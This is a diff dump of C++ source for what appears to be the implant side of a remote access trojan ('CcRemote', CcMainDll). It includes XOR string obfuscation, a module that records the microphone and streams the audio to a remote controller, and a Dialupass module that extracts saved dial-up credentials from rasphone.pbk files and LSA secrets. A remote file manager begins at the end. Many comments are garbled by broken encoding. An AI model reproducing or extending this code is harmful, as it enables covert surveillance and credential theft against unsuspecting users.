正在创建库 ..\..\bin\server\CcMainDll.lib 和对象 ..\..\bin\server\CcMainDll.exp
正在生成代码
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
All 385 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\CcMainDll\..\..\bin\server\CcMainDll.dll

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,14 @@
#include "StrCry.h"
#include "pch.h"
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
char* decodeStr(char* str)
{
int len = str[0];
char * uncodeStr = (char *)operator new(len + 1);
for (size_t i = 1; i <= len; i++)
{
uncodeStr[i - 1] = str[i] ^ (0xCC - i);
}
uncodeStr[len] = 0x00;
return uncodeStr;
}

View File

@@ -0,0 +1,28 @@
#pragma once
//<2F><><EFBFBD>ص<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ͷŵ<CDB7>
//<2F><><EFBFBD><EFBFBD><EFBFBD>
//char* encryptionStr(char* str)
//{
// int len = strlen(str);
// char * a = (char *)operator new(len + 1);
// a[0] = len;
// for (size_t i = 1; i <= len; i++)
// {
// a[i] = str[i - 1] ^ (0xCC - i);
// }
// return a;
//}
#define STR_CRY_LENGTH 0 //<2F><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ij<EFBFBD><C4B3><EFBFBD>
//<2F><><EFBFBD><EFBFBD><EFBFBD>
char* decodeStr(char* str);
//char <20><><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>[] = { 0x07,0xbc,0xa3,0xa7,0xbb,0xb3,0xa7,0xf5 }; //winsta0
//char* <20><><EFBFBD>ܳ<EFBFBD><DCB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ָ<EFBFBD><D6B8> = decodeStr(winsta0); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
//memset(lpszWinSta, 0, winsta0[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
//delete lpszWinSta;

View File

@@ -0,0 +1,84 @@
// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "AudioManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
bool CAudioManager::m_bIsWorking = false;
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
{
if (!Initialize())
return;
BYTE bToken = TOKEN_AUDIO_START;
Send(&bToken, 1);
// Wait for remote dialog open and init
WaitForDialogOpen();
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
}
CAudioManager::~CAudioManager()
{
m_bIsWorking = false;
WaitForSingleObject(m_hWorkThread, INFINITE);
delete m_lpAudio;
}
bool CAudioManager::Initialize()
{
if (!waveInGetNumDevs())
return false;
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
if (m_bIsWorking)
return false;
m_lpAudio = new CAudio;
m_bIsWorking = true;
return true;
}
int CAudioManager::sendRecordBuffer()
{
DWORD dwBytes = 0;
UINT nSendBytes = 0;
LPBYTE lpBuffer = m_lpAudio->getRecordBuffer(&dwBytes);
if (lpBuffer == NULL)
return 0;
LPBYTE lpPacket = new BYTE[dwBytes + 1];
lpPacket[0] = TOKEN_AUDIO_DATA;
memcpy(lpPacket + 1, lpBuffer, dwBytes);
if (dwBytes > 0)
nSendBytes = Send(lpPacket, dwBytes + 1);
delete lpPacket;
return nSendBytes;
}
void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
{
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
{
NotifyDialogIsOpen();
return;
}
m_lpAudio->playBuffer(lpBuffer, nSize);
}
DWORD WINAPI CAudioManager::WorkThread( LPVOID lparam )
{
CAudioManager *pThis = (CAudioManager *)lparam;
while (pThis->m_bIsWorking)
pThis->sendRecordBuffer();
return -1;
}

View File

@@ -0,0 +1,32 @@
// AudioManager.h: interface for the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)
#define AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "..\..\..\common\Audio.h"
class CAudioManager : public CManager
{
public:
CAudioManager(CClientSocket *pClient);
virtual ~CAudioManager();
int sendRecordBuffer();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
static bool m_bIsWorking;
private:
bool Initialize();
CAudio *m_lpAudio;
HANDLE m_hWorkThread;
static DWORD WINAPI WorkThread(LPVOID lparam);
};
#endif // !defined(AFX_AUDIOMANAGER_H__8EB9310D_AEFB_40C5_A4E7_6EE4603CBC69__INCLUDED_)

View File

@@ -0,0 +1,473 @@
// Buffer.cpp: implementation of the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
//#include "StdAfx.h"
#include "Buffer.h"
#include "math.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: CBuffer
//
// DESCRIPTION: Constructs the buffer with a default size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::CBuffer()
{
// Initial size
m_nSize = 0;
m_pPtr = m_pBase = NULL;
InitializeCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ~CBuffer
//
// DESCRIPTION: Deallocates the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::~CBuffer()
{
if (m_pBase)
VirtualFree(m_pBase, 0, MEM_RELEASE);
DeleteCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
CopyMemory(m_pPtr,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(nSize + GetBufferLen()) == -1)
{
LeaveCriticalSection(&m_cs);
return false;
}
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
EnterCriticalSection(&m_cs);
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
{
LeaveCriticalSection(&m_cs);
return 0;
}
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
LeaveCriticalSection(&m_cs);
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetMemSize
//
// DESCRIPTION: Returns the phyical memory allocated to the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetMemSize()
{
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBufferLen
//
// DESCRIPTION: Get the buffer 'data' length
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetBufferLen()
{
if (m_pBase == NULL)
return 0;
int nSize =
m_pPtr - m_pBase;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ReAllocateBuffer
//
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetMemSize())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
if (pNewBuffer == NULL)
return -1;
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: DeAllocateBuffer
//
// DESCRIPTION: DeAllocates the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetBufferLen())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize < GetMemSize())
return 0;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Scan
//
// DESCRIPTION: Scans the buffer for a given byte sequence
//
// RETURNS: Logical offset
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
int CBuffer::Scan(PBYTE pScan,UINT nPos)
{
if (nPos > GetBufferLen() )
return -1;
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
int nOffset = 0;
if (pStr)
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
return nOffset;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Copy
//
// DESCRIPTION: Copy from one buffer object to another...
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::Copy(CBuffer& buffer)
{
int nReSize = buffer.GetMemSize();
int nSize = buffer.GetBufferLen();
ClearBuffer();
if (ReAllocateBuffer(nReSize) == -1)
return;
m_pPtr = m_pBase + nSize;
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
PBYTE CBuffer::GetBuffer(UINT nPos)
{
return m_pBase+nPos;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}

View File

@@ -0,0 +1,46 @@
// Buffer.h: interface for the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
class CBuffer
{
// Attributes
protected:
PBYTE m_pBase;
PBYTE m_pPtr;
UINT m_nSize;
// Methods
protected:
UINT ReAllocateBuffer(UINT nRequestedSize);
UINT DeAllocateBuffer(UINT nRequestedSize);
UINT GetMemSize();
public:
void ClearBuffer();
UINT Delete(UINT nSize);
UINT Read(PBYTE pData, UINT nSize);
BOOL Write(PBYTE pData, UINT nSize);
UINT GetBufferLen();
int Scan(PBYTE pScan,UINT nPos);
BOOL Insert(PBYTE pData, UINT nSize);
void Copy(CBuffer& buffer);
PBYTE GetBuffer(UINT nPos=0);
CBuffer();
virtual ~CBuffer();
private:
CRITICAL_SECTION m_cs;
};
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)

View File

@@ -0,0 +1,320 @@
// Dialupass.cpp: implementation of the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "Dialupass.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CDialupass::CDialupass()
{
m_nMax = 0;
m_lpCurrentUser = GetCurrentLoginUser();
m_nRasCount = GetRasEntryCount();
m_PassWords = new PASSWORDS[m_nRasCount];
OneInfo = new COneInfo* [m_nRasCount];
m_nUsed = 0;
m_nCount = 0;
GetRasEntries();
}
CDialupass::~CDialupass()
{
for(int i=0; i<m_nRasCount; i++)
delete OneInfo[i];
delete m_PassWords;
if (!m_lpCurrentUser)
delete m_lpCurrentUser;
}
DWORD CDialupass::GetRasEntryCount()
{
int nCount = 0;
char *lpPhoneBook[2];
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
lstrcat(szPhoneBook1, m_lpCurrentUser);
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
lpPhoneBook[0] = szPhoneBook1;
lpPhoneBook[1] = szPhoneBook2;
DWORD nSize = 1024 * 4;
char *lpszReturnBuffer = new char[nSize];
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
{
memset(lpszReturnBuffer, 0, nSize);
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
{
nCount++;
}
}
delete lpszReturnBuffer;
return nCount;
}
LPTSTR CDialupass::GetLocalSid()
{
union
{
SID s;
char c[256];
}Sid;
DWORD sizeSid=sizeof(Sid);
char DomainName[256];
DWORD sizeDomainName=sizeof(DomainName);
SID_NAME_USE peUse;
LPSTR pSid;
if (m_lpCurrentUser == NULL)
return NULL;
if(!LookupAccountName(NULL,m_lpCurrentUser,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
if(!IsValidSid(&Sid))return NULL;
typedef BOOL (WINAPI *ConvertSid2StringSid)(PSID , LPTSTR *);
ConvertSid2StringSid proc;
HINSTANCE hLibrary = LoadLibrary("advapi32.dll");
proc = (ConvertSid2StringSid) GetProcAddress(hLibrary, "ConvertSidToStringSidA");
if(proc) proc((SID*)&Sid.s,&pSid);
FreeLibrary(hLibrary);
return pSid;
}
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
lsa->Length=lstrlen(AValue)*2;
lsa->MaximumLength=lsa->Length+2;
lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
}
PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
{
LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
LSA_HANDLE LsaHandle;
LSA_UNICODE_STRING LsaKeyName;
NTSTATUS nts;
PLSA_UNICODE_STRING OutData;
ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
if(nts!=0)return NULL;
AnsiStringToLsaStr(KeyName, &LsaKeyName);
nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
if(nts!=0)return NULL;
nts=LsaClose(LsaHandle);
if(nts!=0)return NULL;
return OutData;
}
/////////
void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
{
char AnsiPsw[1024];
char chr,PswStr[256];
PswStr[0]=0;
WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
{
chr=AnsiPsw[i];
if(chr==0)
{
SpacePos++;
switch(SpacePos)
{
case 1:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].UID,PswStr);
break;
case 6:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].login,PswStr);
break;
case 7:
PswStr[TXT]=chr;
strcpy(m_PassWords[m_nUsed].pass,PswStr);
m_PassWords[m_nUsed].used=false;
m_nUsed++;
break;
}
ZeroMemory(PswStr,256);
TXT=0;
}
else
{
PswStr[TXT]=chr;
TXT++;
}
if(SpacePos==9)SpacePos=0;
}
}
///////////
void CDialupass::GetLsaPasswords()
{
PLSA_UNICODE_STRING PrivateData;
char Win2k[]="RasDialParams!%s#0";
char WinXP[]="L$_RasDefaultCredentials#0";
char temp[256];
wsprintf(temp,Win2k,GetLocalSid());
PrivateData=GetLsaData(temp);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
PrivateData=GetLsaData(WinXP);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
}
bool CDialupass::GetRasEntries()
{
int nCount = 0;
char *lpPhoneBook[2];
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
lstrcat(szPhoneBook1, m_lpCurrentUser);
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
lpPhoneBook[0] = szPhoneBook1;
lpPhoneBook[1] = szPhoneBook2;
OSVERSIONINFO osi;
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&osi);
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
{
GetLsaPasswords();
}
DWORD nSize = 1024 * 4;
char *lpszReturnBuffer = new char[nSize];
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
{
memset(lpszReturnBuffer, 0, nSize);
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
{
char *lpRealSection = (char *)UTF8ToGB2312(lpSection);
char strDialParamsUID[256];
char strUserName[256];
char strPassWord[256];
char strPhoneNumber[256];
char strDevice[256];
memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
memset(strUserName, 0, sizeof(strUserName));
memset(strPassWord, 0, sizeof(strPassWord));
memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
memset(strDevice, 0, sizeof(strDevice));
int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0,
strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]);
if (nBufferLen > 0)//DialParamsUID=4326020 198064
{
for(int j=0; j< (int)m_nRasCount; j++)
{
if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
{
lstrcpy(strUserName, m_PassWords[j].login);
lstrcpy(strPassWord, m_PassWords[j].pass);
m_PassWords[j].used=true;
m_nUsed++;
break;
}
}
}
GetPrivateProfileString(lpSection, "PhoneNumber", 0,
strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]);
GetPrivateProfileString(lpSection, "Device", 0,
strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]);
char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
strPhoneNumber, lpRealDevice);
delete lpRealSection;
delete lpRealUserName;
delete lpRealDevice;
}
}
delete lpszReturnBuffer;
return true;
}
BOOL CDialupass::Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device)
{
for(int i=0; i<m_nMax; i++){
if(0==strcmp(OneInfo[i]->Get(STR_DialParamsUID), DialParamsUID)){
if(Name!=NULL)
OneInfo[i]->Set(STR_Name,Name);
if(User!=NULL)
OneInfo[i]->Set(STR_User,User);
if(Password!=NULL)
OneInfo[i]->Set(STR_Password,Password);
if(PhoneNumber!=NULL)
OneInfo[i]->Set(STR_PhoneNumber,PhoneNumber);
if(Device!=NULL)
OneInfo[i]->Set(STR_Device, Device);
return TRUE;
}
}
if(m_nMax < m_nRasCount){
OneInfo[m_nMax] = new COneInfo;
OneInfo[m_nMax]->Set(STR_DialParamsUID,DialParamsUID);
OneInfo[m_nMax]->Set(STR_Name,Name);
OneInfo[m_nMax]->Set(STR_User,User);
OneInfo[m_nMax]->Set(STR_Password,Password);
OneInfo[m_nMax]->Set(STR_PhoneNumber,PhoneNumber);
OneInfo[m_nMax]->Set(STR_Device,Device);
m_nMax ++;
return TRUE;
}
return false;
}
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
{
if (UTF8Str == NULL || lstrlen(UTF8Str) == 0)
return "";
int nStrLen = lstrlen(UTF8Str) * 2;
char *lpWideCharStr = new char[nStrLen];
char *lpMultiByteStr = new char[nStrLen];
MultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
WideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
delete lpWideCharStr;
return lpMultiByteStr;
}

View File

@@ -0,0 +1,96 @@
// Dialupass.h: interface for the CDialupass class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)
#define AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <windows.h>
#include <ras.h>
#include <raserror.h>
#include <shlobj.h>
#include <ntsecapi.h>
#pragma comment(lib, "rasapi32.lib")
#define STR_DialParamsUID 0
#define STR_Name 1
#define STR_User 2
#define STR_Password 3
#define STR_PhoneNumber 4
#define STR_Device 5
#define STR_MAX 6
typedef struct
{
char UID[256];
char pass[256];
char login[256];
bool used;
}PASSWORDS, *PPASSWORDS;
class COneInfo{
private:
char *Str[STR_MAX];
public:
COneInfo(void)
{
for(int i=0;i<STR_MAX;i++)
Str[i]=NULL;
}
virtual ~COneInfo(void)
{
for(int i=0;i<STR_MAX;i++){
if(Str[i]!=NULL)
delete [] Str[i];
}
}
void Set(int Kind,char *str)
{
if(str==NULL)
return;
if(Str[Kind]!=NULL){
delete [] Str[Kind];
}
Str[Kind] = new char[strlen(str)+1];
strcpy(Str[Kind],str);
}
char * Get(int Kind)
{
return Str[Kind];
}
};
class CDialupass
{
public:
CDialupass();
virtual ~CDialupass();
int GetMax(void){ return m_nMax;}
COneInfo * GetOneInfo(int n){return OneInfo[n];}
private:
LPCTSTR UTF8ToGB2312(char UTF8Str[]);
int m_nMax;
int m_nUsed;
int m_nCount;
int m_nRasCount;
char *m_lpCurrentUser;
COneInfo **OneInfo;
PASSWORDS *m_PassWords;
BOOL Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device);
DWORD GetRasEntryCount();
void GetLsaPasswords();
void ParseLsaBuffer(LPCWSTR Buffer,USHORT Length);
PLSA_UNICODE_STRING GetLsaData(LPSTR KeyName);
void AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa);
LPTSTR GetLocalSid();
bool GetRasEntries();
};
#endif // !defined(AFX_DIALUPASS_H__B0BBD3E2_526C_4B10_A877_95E6D12F31D2__INCLUDED_)

View File

@@ -0,0 +1,802 @@
// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "FileManager.h"
typedef struct
{
DWORD dwSizeHigh;
DWORD dwSizeLow;
}FILESIZE;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
SendDriveList();
}
CFileManager::~CFileManager()
{
m_UploadList.clear();
}
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:// <20><>ȡ<EFBFBD>ļ<EFBFBD><C4BC>б<EFBFBD>
